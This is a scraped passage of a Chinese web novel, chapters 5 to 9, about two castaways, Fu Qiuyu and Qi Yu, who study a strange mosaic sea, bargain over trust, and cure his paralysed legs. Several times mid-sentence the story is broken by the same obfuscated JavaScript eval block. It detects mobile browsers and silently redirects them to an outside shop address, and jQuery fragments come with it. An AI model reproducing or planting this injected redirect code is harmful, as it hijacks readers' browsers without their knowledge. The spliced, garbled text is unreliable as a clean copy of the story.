她的眼睛里没有柔情，反而很冷，很利，像刀一样。 这样的眼神，即使是在男人里也很少见。 正是有这双眼睛，让她的气质和娇弱扯不上关系，倒是有种尖锐感。 那低沉的声线，也同样昭示着这张脸的主人，性格完全不像表面那样柔弱。 这种外貌和性格的反差感，他认识的猎人小姐也有。 但没有傅秋语这样……极端？ 以这姐的抽象程度，猎人小姐再修炼十年都赶不上。 傅秋语皱着眉，观察祁煜的腿，她说：“时间过去了这么久，你的腿还是没有恢复，这其中肯定有问题。” 祁煜：“……” ……也是，都流落到这儿了，她也没有其他参照物，靠自己是根本不可能发现自己穿越了的。 他是不是应该在“不经意间”提醒一下？ 祁煜接过她的话：“什么问题？” 傅语秋：“我上一次醒过来时，你一只手拖着我在礁石区移动，那时候你已经恢复了部分上肢的行动能力。你当时算过时间吗？恢复上肢行动能力，用了多久？” 祁煜摸下巴：“当时情况紧急，我没有想到这一层。” 傅秋语遗憾地叹气。 她想了下，伸出手指，在地上写出一串公式，然后说：“论证过程我就不多说了，我的结论是，大约在十五到二十分钟之间。” 发现祁煜正盯着自己的公式，傅秋语解释道：“我就粗略估一下，手上没有仪器，没法给一个精确的时间。” 祁煜：“别在意……你继续。” 傅秋语：“从我的观察结果来看……你的麻痹时间，应该与接触的海水量成正比。接触的量越多、时间越长，麻痹时间越长。” “但这个理论有点问题，因为你的双腿麻痹时间已经远远超过了。但……你的问题应该可以解决，没有道理其他地方都能够恢复，就腿不能。” “这片海，很异常，超越我们理解范围的异常，首先我们得放弃一切能够得到外界援 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368120|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助的幻想。” 祁煜：“……你是怎么猜到的？从开始到现在，我一句都没提过救援队的事。” 傅秋语：“你时不时地看一眼手机，再一脸忧郁地看着远方，我又不是瞎子，结合处境就能猜到了。” 祁煜：“你倒是接受现实接受得很快，我还以为人类都会更倾向于逃避现实，寄希望于外界援助。” 傅秋语叹气：“那是别人。我小学四年级就知道，英雄总是迟到，想要救自己，必须自己成为英雄。” 她坐起来，捡了块石头，继续在地上写字。刚刚用手写的，地上的砂砾磨得她手疼。 “出去是一定要出去的，总不能在荒岛上困一辈子，但是在那之前必须先在这里活下去。这是我列的接下来的行动纲要——” “第一，这个地方不安全，要换地方。我们不了解岛上的生态，是否有猛兽出没，这个地方太显眼，容易成为野兽攻击的目标。而且这里风很大，不利于我的病情恢复，我们需要寻找一个更安全的地方作为基地。” “第二，我们需要食物和淡水。必须找到可靠的水源，没有水源也要创造条件得到淡水，否则我们将很难生存下去。” “第三，我们需要研究海水。这个海很异常，目前还不知道它除了会让人丧失行动能力之外是否还有别的古怪，如果不了解它的特性，我们很难逃出去。” “不过完成这三点的前提必须建立在，让你的双腿恢复行动力的基础上。你的体能很不错，是我们目前唯一能够依靠的力量。” “所以接下来，我们荒岛求生的第一个任务就是：让你的腿恢复。” “以上，就是我对现状的分析。俞启先生，你还有什么要补充的吗？” 傅秋语不抽象的时候很严肃。 严肃得和抽象时简直是两个人。 用词板正，逻辑严谨，条理清晰，最后那句“以上就是我对现状的分析”更是点睛之笔。 代入感很强。 祁钰心想。 感觉自己已经自动穿上白大褂，坐在实验室里，听下属汇报工作了。 祁煜：“……没有，你说得已经很全面了。” 傅秋语谦虚点头：“过奖。” 祁煜：“但我很好奇……你不是作家吗？可听你的说话风格一点也不像，倒像是什么研究员。” “……”傅秋语这次是深深地、深深地从肺腑里叹出一口气。 她的目光飘向远方，神情惆怅而复杂。 她说：“……研究员，以前是。不过……是那种总是会办砸事情的废物研究员。” 她的目光拉回祁煜身上：“如果你没有异议的话，接下来就按这个纲要行动。” 祁煜：“可以。” 说了这么长一段话，好不容易恢复了些力气的傅秋语又有点萎靡不振了。 她重新躺下，艰难喘气。 “不过，在那之前……容我休息一下，半小时之后叫我。我也在这半小时里，想想你这腿到底怎么办。” 祁煜：“……行。” 这家伙的柔弱程度，真是突破他的想象。 不过脑筋倒是挺好用的。 5. 005 说休息，祁煜还以为她又要开睡，没想到傅秋语这次居然真的有在认真干活。 她侧躺着，一只手枕着头，眉头紧锁，看着不断奔涌的马赛克之海，再时不时在自己身前的地面写方案。 她这姿势，优雅中透露着一丝狂野，狂野中透露着一丝不拘，和躺自己家沙发似的，属实没把“俞启”当外人。 但是没过一会儿，她眼皮子开始打架，眼看就快以这个姿势睡过去，一阵妖风刮过来，给她冻得一个激灵，清醒过来。 她爬起来，抱怨道：“我就说这个地方冷。” 她活动了一下手脚，感觉虽然精神还在萎靡中，但是力气恢复不少，就对祁煜说：“肚子好饿，我去附近找点吃的，马上回来。” 说完，她扶着树杆，抖着腿站起来。 她明显不习惯走除了平地之外的路，海岸边也没有平地给她走，她走得磕磕绊绊，十几步绊了三四次，最后不得不扶着石头走。 “四肢不勤”这四个字，可以说在她身上表现得淋漓尽致。 祁煜看不下去了，对着她的背影喊：“回来，别乱跑。饿的话再给你开个椰子。” 海风有点大，呼啸声盖过了他的声音，傅秋语根本听不清他在说什么，听着好像是伙伴在让她小心点。 说她抽象，她认真的时候又很严肃。 说她不拘小节，但在某个不经意的瞬间，她又该死的优雅。 她扶着礁石回头，海风卷起她凌乱的头发和破碎的裙摆，她一只手将头发别到耳后，对祁煜安抚一笑。 微黄的礁石和蓝色的裙摆，加上背景里的椰树和湛蓝的天空，即使以祁煜的审美品位来看，这都是不错的构图。 优雅，永不过时。 祁煜心想，如果再加个宽沿草帽，那这个画面就更完整了。 然后这个优雅的模特说：“知道了，不用担心，我会小心的。” 说着她就提着裙摆，扶着礁石，以一种更谨慎，类似于偷鸡摸狗的姿势走了。 祁煜满脸问号：“？？？不是，你有听见吗？我让你回来！” 然而这时，傅秋语已经走远。 祁煜有心想追上去，奈何条件不允许。 傅秋语和雨丘哪哪儿都像，但有一点完全不一样。 那就是雨丘能打能抗身体健康，拳打流浪体，一口气捏十个核桃手心都不带红，连去N109区他都不担心。 而傅秋语…… 总觉得没他看着，她能死外面。 话说……应该不至于……吧？ 这边，傅秋语觉得自己可谨慎了，她就是慎勇的异世界传人。 她先是迅速而仔细地搜查附近没有野兽的活动痕迹，发现没有后，她放心了一些。 接着，她摘了一些野果——只捡明显有鸟雀啄过痕迹的，因为这种肯定没有毒——用阔叶兜住包好。 找到了吃的，任务完成，她没有立即打道回府，而是去了海边。 其实这才是她出来的主要目的，找吃的只是顺带的，或者说只是个借口，一个幌子。 她还不够信任俞启。 虽然两人目前是统一战线，他救她多次，她也向他释放了足够的合作诚意，但是一些重要的事，她还是有所保留。 马赛克之海依旧保持着水流的状态，但是性质已经不是水，而是变成了别的什么未知物质。 仔细看，其实海中的每一个色块都不是固定的，每一块的大小和颜色都会随着时间推移周期性变化。 傅秋语捡了根树枝，沾了些海水。 马赛克海水立刻沾上树枝。这个现象符合她的猜想，这玩意不止对人，对物也有效。 她扔下树枝，再次用手触碰海水。 但这次和她预想的完全不一样。在她的设想里，马赛克的边角会从她手边丝滑地流过，不会沾染上半分。 但现实是，马赛克好像那个水遇上海绵，突然向她的手掌聚集。 她吃了一惊，连忙把手抽走。 在她的注视下，残留在皮肤上的马赛克迅速地向她的皮肤里渗透，不一会儿就没了踪迹。 她的皮肤表面光滑如初，活动关节毫无障碍。 ——原来并不是马赛克海水不会感染她，而是她会吸收马赛克海水！ 傅秋语心脏狂跳。这一切超出她认知了，她有一种不祥的预感。 平复了几分钟心跳，她开始了实验。 她把自己的衣服一角浸到海水里，再捞出来。 得出的结果是，只要与她的皮肤接触，马赛克都会向她聚集。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368121|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最关键的是，马赛克进入她的身体里以后，她并没有感觉出异常。 没有异常这就是最大的异常！ 她又在海岸边走了一段，发现从海里冲上来不少同样马赛克化的死鱼。 也就是说……可能只有她是特例。 这个发现让她怀疑人生了好几分钟。 她的脑子里只有一个大写加粗的:危！！ 不过几分钟后，她想开了。 事已至此，害怕也没用，还是以后尽量少接触吧。 而且，她已经知道怎么帮俞启恢复双腿了。让他恢复，是当前的首要任务。 做了个简单的实验后，她忧心忡忡地抱着果子打道回府。 刚回去，就看到俞启抱着双臂，一脸烦躁。见她终于回来，他紧锁的眉宇终于松开，但还是瞪了她一眼。 “你的休息时间已经超过半小时了。” 傅秋语把果子放在他伸手就能拿到的地方，然后靠在旁边休息。 ?? 这个运动量对于她现在的身体状况，的确有点吃不消。 她拿出一颗果子擦了擦，说：“我顺道去证实了一些猜想，所以回来得晚了些。” 说完，她把这颗擦干净的果子递给祁煜。 对方接过去后，她靠着树，默默地擦给自己吃的果子。 她是最不信什么狗屁人类高尚品质的，这种东西太稀缺了，她不相信以自己的狗屎运气能遇到。以往谁要和她谈信任，她马上就让对方打钱。 但是现在，她必须面对这个信任问题。这等于是交托性命了啊。 ——俞启，可以信任吗？帮他恢复双腿后，他会反过来伤害她吗？ 这边，祁煜很烦躁。 虽然得到了她的解释，但祁煜还是觉得很烦躁。 他也不知道自己为什么要烦，但就是很烦。 想到她离开前说这儿冷，他木着脸，对傅秋语说：“头，过来点。” 傅秋语：“？” 祁煜一脸严肃的样子，虽然不知道他要干什么，但她还是把头靠过去。 然后，对方冰凉的手就贴到她脑门上。 祁煜：“这不是还在发热吗？跑出去这么久，我还以为你烧退了。” 傅秋语一整个僵住。 6. 006 她的睫毛剧烈抖动了一下，露出一种夹杂着惊讶、不知所措、排斥但又有几分迷茫、纠结的表情。 这神情的复杂程度，简直可以画个扇形统计图。 祁煜被她的反应惊了一下。 先反应过来的还是傅秋语，她别开脑袋，退回原位。 她抱着膝盖，低垂着眉眼，长而直的睫毛盖住眼瞳，嘴唇绷成一条直线。 祁煜感觉她反应不对，仔细一看，发现她自然下垂的手，不自觉地捏成了拳头。 祁煜：………… 他反思了一下。 难道他判断失误了？不应该啊…… 猎人小姐失踪后，她从20年前穿越而来，即使没有证据，但祁煜就是觉得她们两人关系匪浅。 这个世界的时间，一直往复循环。 其实他得到的情报也很少，除了知道雨丘是一切的起点，而她的起点在一个实验室之外，他什么都不知道。 或许，有没有一种可能，在所有人都不知道的地方，雨丘真正的起点，并不是那个冰冷的实验室？ 或许，突然从20年前穿越而来的傅秋语，给他带来的不只是事故，而是一种变数？ 他想要得到傅秋语这里的情报，就必须先得到她的信任。 即使认识时间不长，他也能明显察觉到傅秋语比起猎人小姐心思更重，思维方式更缜密。 一般人流落到这个处境，绝大多数人都会第一时间先崩溃。 但她醒来后，除了说一些抽象的话之外，没有崩溃，没有抱怨，没有害怕，反而是通过并不富裕的清醒时间，在短时间里快速收集环境信息，制定生存计划。 这可能就是研究员的素养，冷静永远放在第一位。 即使她说自己是废物，但她这心理素质，已经是他认识的普通人里排得上前几位的了。 综上所述，糊弄雨丘使用的一些障眼法，可能对傅秋语完全不起作用，甚至会引起她的警惕。 这类人心防很重，想要得到她的信任不容易。 他知道，她找理由离开这里去“顺道”证实猜想，正是她并不信任他的表现。 祁煜心里和明镜似的。 但对付这类人也很好办。 只要释放出善意，她自然而然地会放下戒心。 他认为，经过两次的救命之恩，他在这方面有天然的优势。而且他的善意发自内心，并没有作伪。 所以他是权衡下选择了适度拉近距离，并不是毫无章法没有边界感。 但他……好像判断失误了? 傅秋语一脸想打他的样子。 祁煜想了下，真诚地解释：“你的身体还没有恢复，忽然跑出去这么久，我很担心。我们的荒岛逃生项目还需要你制定计划，没有你不行。” 说完，他观察她的反应。 谁知道傅秋语的嘴角绷得更直，拳头捏得更紧，指尖都发白了。 ……坏了，看起来好像更想打他了。他严重怀疑，要不是她身体不好，铁定会上来邦邦给他两拳。 祁煜：………… 他头疼地想：难道这招对她无效吗？ 难道对付抽象的人，就要用抽象的方式？ 那完了，他恐怕这辈子都没法像她这么抽象。 傅秋语忽然沉着声音说：“俞启先生，我这人不喜欢拐弯抹角，所以有话我就直接问了。” 她的声线本就比一般女性要低一些，此时她好像心情沉重，说话声线又更沉了一点。 祁煜露出一个温文尔雅的笑容：“你问吧。” 傅秋语抬起眼眸，那双锐利的眼睛坦率而认真地看着他，问：“我能信任你到什么程度？” 祁煜的笑容僵住了。 空气安静了三秒钟，祁煜才缓缓眨了下眼睛，接上自己因为对方突然打出的直球而断掉的思路。 他那为了让她安心，装出来的笑容逐渐收了回去。 说她抽象，还真是一点都不冤枉她…… 不是，一般人会直接问这话吗？？ 难道不应该经过一系列试探后，确认对方对自己的确没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368122|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有恶意，然后在心里列好信任等级，再根据对方的表现安排等级么？ 哪有人直接问的？？？这让他怎么回答？？？ 这一下属实给祁煜整不会了。 他头一次为一个人、为一个问题这么头疼过。 如果真的以为傅秋语问这个问题是单纯没有心机，从而说大话试图诓骗她，那就是掉入她的陷阱中了。 她绝对会彻底关闭心门，不再交付任何一点信任。 在祁煜观察她的时候，傅秋语也在用那双锐利、冰冷、像刀一样的眼睛观察他。 和祁煜经过岁月磨砺出来的冷漠不同，傅秋语的冰冷，除去自身经历之外，更多是建立在常年与实验打交道的理性上。 她从不交付信任，从不与人亲近，她只认逻辑的世界，只认会客观反应实际的实验数据，只认具有法律约束力的合同，并且鄙视一切盲目信任、盲目投入感情的行为。 但是就在今天，就在此刻，她突然发现，自己必须打破惯例，去信任一个认识不足一天的人。 天，这比杀了她还让她难受！ 她不知道应该怎么做，也不知道怎么才能知道对方的真实想法，所以她仔细思考之下，便决定做自己最擅长的事——直接问。 但重点并不是她的问题，而是对方的反应。 就像她无初次做实验那样：开启样机（问题），观察运作过程（对方给予的反馈），记录数据（分析对方的反应），得到结果（确认是否可以信任）。 她有足够锐利的眼睛，足以让她从对方层层的伪装下得到真正想要的。 俞启的沉默，令她心头一沉。 接着，她看到眼前的这个男人，露出了从两人认识以来，最明媚、最爽朗的笑容。 那一直萦绕在他周围的，令她不舒服的氛围，在这一阵阵的笑声中烟消云散。 他那漂亮的，像烟霞云彩一样的眼眸笑得弯起，看她一脸懵逼，噗地一声，又笑出声来。 祁煜笑着说：“傅小姐，你是我见过最狡猾的人。” 7. 007 狡猾吗? 或许吧。 傅秋雨心想。 她一向不擅长处理这些事。 在理性的世界中，感性就像实验中不可控的事故。而她要做的，就是在事故发生时，尽量控制受灾范围，降低损失。 她这个问法，其实就是相当于把祁煜的试探原封不动地丢回去。 ——想要得到我的信任，可以，但你又能拿出多少诚意让我信任？ 这就是她的话外之意。 也是一个无法抗拒，无法躲避的阳谋。 除非得到她想要的答案，否则无解。 如果说祁煜之前只是觉得对待她需要更谨慎，那么现在，他的感觉就是棘手、不可控。 十个猎人小姐加一起，都未必有一个傅秋语这么难缠。 猎人小姐的心思，他总是很容易摸透。傅秋语的心思却隐藏在层层的迷雾里，或许她本人就是这个迷雾。 可当她袒露心思时，又是那么的直白而锋锐，像一把不见血不罢休的刀，即使它的锋芒同样会刺伤自己。 她是怎么做到又坦率又狡猾的？这两个特征是可以放在一个人身上的吗？？ 哦……原来他自己也是。 那没事了。 真巧。 这个发现给祁煜整乐了。 两人目光交汇之时，两双同样属于猎人的眼睛，在无声中完成了交锋。 他们不是同类。 可隐藏在性格中的敏感、尖锐、冷漠和攻击性，又是如此相似。 相似到，他们好像在不知道的时候，就已经认识彼此很久了似的。 连喜欢利用真诚达成目的这一点，都如出一辙。 诚意？ 没有问题，祁煜有的是诚意，他可以给，并且给得起。 可是，只要他付出诚意，傅秋语就能给予信任吗？ 以祁煜看，未必。 但总有人需要踏出第一步，否则就会陷入怀疑的螺旋。一旦处理不好，就会走上面和心不合、各怀鬼胎的道路。 他不希望自己和傅秋语演变成这种关系，必须从一开始就把这个苗头掐死。 祁煜不是那种犹豫不决的人，做出判断后，他只唏嘘了一秒，然后毫不犹豫地踏入这个坦荡的猎人抛出的陷阱。 只是，踏入陷阱的不一定是猎物，设下陷阱的也不一定是猎手。 谁是猎物，谁是猎手，现在下定论还太早了。 祁煜甚至是隐隐期待着的。 这位胆大心细的研究员小姐，究竟能做到什么程度。她的信任，又可以在接下来换到他的多少诚意。 祁煜一瞬间就卸下了满身的防备。 他又笑出了声，他笑得很开心，笑得傅秋语越发困惑。 他很久没有这么轻松过了。 他已经在黑暗中独行了太久，即使在阳光开朗的猎人小姐身边，也很少有真正开心的时候。 或许只有在这个与世隔绝的孤岛上，他才能放心地卸下防备，和傅秋语玩一场真诚与信任的游戏。 这一次，他放弃一切套路、心计、手段，用最朴素的方式，换取她的信任。 活了以万年为单位的海神，可是相当能屈能伸的。 祁煜说：“你这个问题，我现在很难回答。我们并不熟悉彼此，不知道对方是否会伤害自己，也不知道我们的合作，到底能给彼此带来多大的裨益。” 傅秋语的眼神肉眼可见地柔和了下来。 没错，研究员小姐只是看起来直率，实际上坏心眼可多了。 比如，她其实并不想听任何虚头巴脑的东西，她只想听实话。 要是俞启一张嘴就是承诺，她表面上不说，背地里一定会使绊子，至少会延缓他的恢复进度。 现实就是，他们两人毫无信任基础。 双方力量上的差距，也令她格外警惕。 柔弱的女性总是格外需要安全，这是天性使然。 实话残酷而伤人，但这反而让她安心。这代表对方没有敷衍、看轻她的意思。 祁煜：“我们还是聊点实际的吧，不如我们双方交换条件，你提出你的需求，我也提出我的需求。” “你出去了那么久，回来后一直愁眉不展，我想你是在海边发现了什么重要的事，但这会威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368123|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你自身……我说的对吗？” 傅秋语点头，坦然道：“不错。我已经知道了让你恢复的办法，但这对我很不利。” 祁煜：“你想要我什么保证？” 傅秋语冰冷地嗤笑：“在这个地方，一切语言上的保证都不具有法律约束力。我不会向你讨要承诺和保证，因为这根本没有意义。” 祁煜好笑地说：“你这是在考验我的道德。” 傅秋语：“法律是最低要求的道德，但人的道德不应只限于法律。在当前这种条件下，我唯一能依靠的只有你的道德。” 祁煜：“所以你能开给我的条件，就是恢复我的双腿，是吗？” 傅秋语：“还有详细的逃生计划。别忘了，我们目标是活下来，并逃离这里。” 对于祁煜来说，在这里活下来不难，但逃出这里确实难度很大。即使没有雨丘这层关系，她的条件也足够让他给出合作诚意。 祁煜：“那我能给你的条件，就是在这段时间里保护你的安全，直到我们安全地回归人类社会。” 傅秋语：“并且要在离开后，守住我的秘密，不要让第三个人知道。当然，做不做仍然取决于你，我无法约束你。” 祁煜：“你说话倒是滴水不漏，心思缜密。” 好一招以退为进，好一个步步紧逼。 傅秋语依然是委婉点头，表情冷淡：“过奖，你也不差。” “那么，交易完成，合作愉快。” 身为男士，祁煜率先伸手。 “合作愉快。” 傅秋语伸手握住了他的。 谈判结束，冰消雪释。 傅秋语的冷脸终于软化，露出一丝笑容。 和聪明人说话就是效率高，这短暂的交锋已经足以让双方初步了解对方的为人，得到了各自想要的。 两人都解决一大心事，心情舒畅，并拿起手里的果子，以果代酒碰了一下，开吃—— 一入口，野果的苦涩酸爽立刻对他们的味蕾实行了一场酷刑，两人同时酸成个表情包。 祁煜：“好难吃！” 傅秋语：“呕……确实！” 8. 008 这场对味蕾的强X以祁煜紧急劈开一个椰子两人一人一半抱着椰子一顿狂啃为终结。 傅秋语啃了一大半，才感觉嘴里那股又酸又苦又涩又恶心的味道被压下去。 她不可置信地说：“我挑的明明是最红最成熟的，为什么这么难吃！” 祁煜：“挑吃的就像找对象，颜值高不代表好，我们还是把目光放回外表朴实无华但可口美味的椰子先生身上吧。” 傅秋语再次怒吃一口，悲愤总结：“这就是老实果的安全感吗！” 两人都很饿了，半个椰子没一会儿就炫完，但感觉肚子里还是没有实感。 祁煜拍了拍憋憋的肚子：“还是要尽快恢复，打猎加餐。” 傅秋语赞同:“希望岛上有淡水资源。” 她捋起袖子，“好了，我要开始治疗了。” 祁煜把刀递给她，严肃地问：“要用这个吗？” 傅秋语愣了一下，随后肃然起敬。 她说：“好好好，你是真汉子……不过我暂时不需要这么血腥的治疗方式。” 他立刻松了口气，眉开眼笑地把刀往背后一收，“早说啊，我还是挺怕疼的。” 傅秋语看他这个笑容，总觉得次元壁破了。 ——妈呀。不但长得像我推，连笑起来也像我推。 ……哎。 她可能还是不适合接触三次元男人。总觉得认识了俞启后，连祁煜都爱不动了。 她这精神养胃也是病入膏肓了。 摇摇头甩开这些杂念，她把手往自己衣服上蹭了蹭，蹭掉不存在的灰，然后把俞启的腿放平。 傅秋语问：“你身上还有其他地方感染了马赛克吗？” 祁煜活动肢体感受了一下，说：“应该没有。” 傅秋语点了下头，没什么表情，“把衣服脱了。” 祁煜：“？” 傅秋语皱起眉，严肃地说道：“你说没有就没有吗？别忘了，你身上也沾过海水。说不定只是程度太轻了，你才没有察觉。” 这女人变脸技术也是一绝。 上一秒还有说有笑，下一秒就严肃得堪比抓学生早恋的教导主任。 祁煜抽了抽嘴角，说：“傅医生，有没有人说过，你板着脸真的很凶。” 傅秋语：“没有。但是……” 祁煜开始动手解扣子。 她眉毛抽动了一下，忍了忍。 但是看到祁煜脱下外套，解开衬衣时，还是没忍住，移开了视线，盯着旁边不远处的花看，仿佛那朵花忽然就有了什么神奇的魔力一样。 傅秋语的声音还是很冷淡：“……但是当我想事情不说话的时候，从来没有人靠近我身边两米内。” “不愧是你。” 祁煜利索地脱下衣服，“好了，你可以……” 他一抬眼，发现傅秋语在严肃地研究旁边的花。 而她原本雪白的耳尖，微微发红。 哦…… 祁煜立刻明白了。 原来是虚张声势。表面上严肃，实际是害羞了。 本来挺坦荡的，结果她这一害羞，他不由自主地也跟着臊起来。 ……什么情况，这不是很正常吗……？ “咳……！”他出声提醒她。 结果对方的手抠着裙子布料，看起来不是很想转过来。 他把手伸到她眼前打了个响指：“好了，傅医生，别发呆了,咱们速战速决。这地方风好大，不穿衣服很冷的！” 这就是高情商的优点。 即使知道了，也当不知道，给足对方台阶下。 傅秋语也觉得冷，这风嗖嗖地往骨头里钻，听到他这么说，也觉得的确不能让人家挨冻。 他要是病了还得分他药，太亏了。 她深吸一口气，绷着脸转回来。 她看到祁煜身体的第一眼就皱起了眉头：“这……！” 祁煜笑了下，往后一靠，颇有种摆烂的味道：“靠你了。” 果然是穿着衣服看不出来，把衣服脱下来后，就看到他的胸前、腹部、手臂遍布着鱼鳞一样五颜六色的马赛克。 傅秋语：“还说你没事！这都没感觉？！” 祁煜：“……确实没感觉。” 他自己看到都愣了下。 一碰上正事，她马上就没功夫害羞了，按着祁煜里里外外检查了一遍，果然又在他的后背、腰臀又发现了两块。 掀开他的裤管时，那个耀眼的、已经形成鳞片状的马赛克差点闪瞎她的眼。 祁煜表面上没什么，实际上心里已经紧绷起来。 这玩意怎么在他身上还带变形呢？而且还偏偏是鱼鳞！ 傅秋语抬头看他，认真地说：“而你，我的朋友，你就是真正的玛丽·璃莹殇·安洁莉娜·樱雪羽晗灵·俞启·苏！” 祁煜：“？” 傅秋语：“你这不表演个一流泪就掉珍珠，一开心就飘花瓣，每天在三万八百平米的大床上醒过来，后面忘了，这都说不过去。” 祁煜：“……还真是！” 他恍然大悟：“我就说总觉得这马赛克有种既视感，你这么一说，我终于想起来了！” 傅秋语：“是吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368124|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吧！这又闪又亮又绚还会变颜色，我愿称这海水里的不明物质为——玛丽苏物质！” 祁煜：“同意！” 他摸下巴：“嘶……不知道这个玛丽苏物质能不能做成颜料……” 傅秋语：“如果能的话，那还挺有意思的。” 确定完他的情况后，她伸手准备贴上去，结果在半路和祁煜对上视线。 对方那双如夕阳落入海面时绽放最后一丝余晖的眼睛和她近在咫尺，他眨了下眼睛，那卷翘的睫毛就像小羽毛一样，轻轻地在她心里搔了一下。 于是她在半路硬生生地改了姿势，一根手指戳到他的手臂上。 祁煜看着她隐隐有点发红，但是强装严肃的脸。 祁煜：………… 不要在这种时候又想起来“害羞”这种东西啊！ ……关键是他也不由自主地跟着害羞起来了是怎么回事！这不科学！ 一定是因为他本来就容易害羞，没错……救命，这场面他不会圆了！ 一个抽象人，居然这么容易害羞，这河里吗？！ 不过，这次不等他绞尽脑汁地想办法缓解气氛，这种又尴尬又羞涩的气氛就自动破碎了。 随着傅秋语的手指贴到他手臂的玛丽苏版鳞片上，两人同时感觉一阵吸力从对方身上传来。 本来只是想用一根手指应付一下，没想到根本扛不住那个吸引力，整个手掌瞬间贴上去不说，她甚至不得不往后用力，才能让自己不至于整个人都摔他怀里。 祁煜被她拽得手都要断了。 他看到他全身的马赛克鳞片都化为流光，飞速从他的皮肤上游向两人肢体接触的地方，进入她的体内。 他的身体越来越轻，石化的双腿逐渐恢复知觉。 他没想到真相居然是这样，震惊到不知道该说什么。 祁煜原本的猜想和傅秋语最初一样，都以为只是海水无法感染她而已。 原来，这就是她回来后愁眉不展，甚至逼他做出承诺的原因。 还真是……把性命交付给他了。 两人肢体接触的地方光芒越来越强，色彩越来越绚丽，而当光芒璀璨到极致之时，黑暗陡然降临。 祁煜眼前一花。 等他恢复意识时，他发现自己站在海面上。 不是被玛丽苏物质污染后的大海，而是在那之前的，在黑夜中无比静谧、美丽、纯净的大海。 一轮巨大的圆月挂在天幕上，如碎银般的光芒铺满海面。 祁煜愣了愣。 他看向自己的臂弯…… 人呢？！ 9. 009 祁煜抬头看向夜幕中那轮月亮。 这地方不对劲。 这里不是真正的大海。 ……是那种由能量组成的空间。 但不像那种因为能量异动展开的异空间。 这里的能量，很……怎么说呢？ 他居然第一次感觉到，能量……居然是可以苦涩的？ 月色中的大海，连浪花都那么寂静，像是怕惊扰了什么。 祁煜环顾四周，看不到傅秋语。 只看到海面上笼罩着一层浓雾……雾的深处，隐隐传来歌声。 “Go to find a safer place to rest（前往一处静谧的安身之地） ……” “When you hear the willow''s hiss（当你聆听柳树的萧瑟）……” “Beware if you dare dream neath its leaves（请当心层层树叶下所掩藏的梦境）……” “Beware, go to find a safer place（请留心，去寻一处安身之地）……” 那幽远空灵的歌声，倒像是利莫里亚人会喜欢的。 祁煜走入浓雾，朝着声音传来的地方走去，走了很久很久…… 久到他差点在浓雾里失去方向。 那歌声，好像永远都是那么遥远。 它永远在浓雾的最深处回响。 幽远，朦胧，苦涩，哀伤……仿佛是沉睡在最幽深的海底的利莫里亚人的镇魂歌，又仿佛是居住在高天之上的天使所唱的挽歌。 又走了不知道多久，祁煜看到了浓雾里影影绰绰地亮起火光。 那火光在昏暗的环境中十分显眼，祁煜想也不想，向着火光传来的地方走去。 渐渐地，他听不到歌声了。 浓雾逐渐在他眼前散开。 他看到了火光的来处，那个大海的浮浪中漂着的女人。 ——是傅秋语！ 祁煜心一紧，连忙跑过去捞她。 却看到她闭着双目，面带微笑，像是已经安详地拥抱死亡。 海浪亲吻她苍白的脸颊，包裹她疲惫的身躯，她的蓝裙子像是已经与海浪融为一体，随着水波摇曳。 她双手交叠安放在胸口，手心握着一根羽毛—— 那是一根火红色的羽毛，羽毛的尾端燃烧着烈焰。羽毛贴在她的心口位置，火光跃动时，像极了跳动的心脏。 祁煜好奇地伸手触摸羽毛，被烫到了。 